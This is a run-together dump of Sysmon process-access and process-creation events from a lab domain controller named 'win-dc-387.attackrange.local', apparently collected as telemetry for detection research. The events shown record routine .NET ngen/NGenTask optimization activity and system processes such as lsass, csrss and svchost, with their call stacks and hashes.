14:43:42.960{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-4307-00000000F001}5784c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.960{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-4307-00000000F001}5784c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.929{7BD73061-6F1E-613B-4407-00000000F001}14045064C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-4307-00000000F001}5784c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.913{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4407-00000000F001}1404C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.913{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4307-00000000F001}5784c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.913{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-4307-00000000F001}5784c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.897{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-4107-00000000F001}3436c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.897{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-4107-00000000F001}3436c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.882{7BD73061-6F1E-613B-4207-00000000F001}70285092C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-4107-00000000F001}3436c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.868{7BD73061-6F1E-613B-3F07-00000000F001}66245708C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3E07-00000000F001}3832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.868{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4207-00000000F001}7028C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.868{7BD73061-6F1E-613B-4007-00000000F001}70245644C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3D07-00000000F001}5296C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4107-00000000F001}3436c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-4107-00000000F001}3436c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4007-00000000F001}7024C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3F07-00000000F001}6624C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3E07-00000000F001}3832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-6F1E-613B-2C07-00000000F001}6356848C:\Windows\system32\taskhostw.exe{7BD73061-6F1E-613B-3E07-00000000F001}3832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+384146|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+2c4809|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+2c4179|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+2c01b0|UNKNOWN(00007FF8E4D615F2) 154100x800000000000000038702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.854{7BD73061-6F1E-613B-3E07-00000000F001}3832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe4.8.4330.0 built by: NET48REL1LAST_BMicrosoft .NET Framework optimization serviceMicrosoft® .NET FrameworkMicrosoft CorporationNGenTask.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe" /RuntimeWide /StopEvent:712C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=D2DDF021EE6A8A649FB58F6DD05EDED7,SHA256=AC1B312B5D048DAC81327CF083BDEF2966AA883208455490E73D6E34C932B7D9,IMPHASH=00000000000000000000000000000000{7BD73061-6F1E-613B-2C07-00000000F001}6356C:\Windows\System32\taskhostw.exetaskhostw.exe /RuntimeWide 10341000x800000000000000038701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3D07-00000000F001}5296C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-6F1E-613B-2C07-00000000F001}63564904C:\Windows\system32\taskhostw.exe{7BD73061-6F1E-613B-3D07-00000000F001}5296C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+384146|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+2c4809|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+2c4179|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\2a6ccbaba5690e5b3fec3bf707022bdb\System.ni.dll+2c01b0|UNKNOWN(00007FF8E4D615F2) 154100x800000000000000038695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.851{7BD73061-6F1E-613B-3D07-00000000F001}5296C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe4.8.4330.0 built by: NET48REL1LAST_BMicrosoft .NET Framework optimization serviceMicrosoft® .NET FrameworkMicrosoft CorporationNGenTask.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe" /RuntimeWide /StopEvent:876C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=196F531423F864F990B24F3D3AFA9AA1,SHA256=353C8C617C87A56F93C9914E219BE4E30A45A0DEA8D98BF34C6BD81A6A287916,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744{7BD73061-6F1E-613B-2C07-00000000F001}6356C:\Windows\System32\taskhostw.exetaskhostw.exe /RuntimeWide 10341000x800000000000000038694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.835{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3B07-00000000F001}4708c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 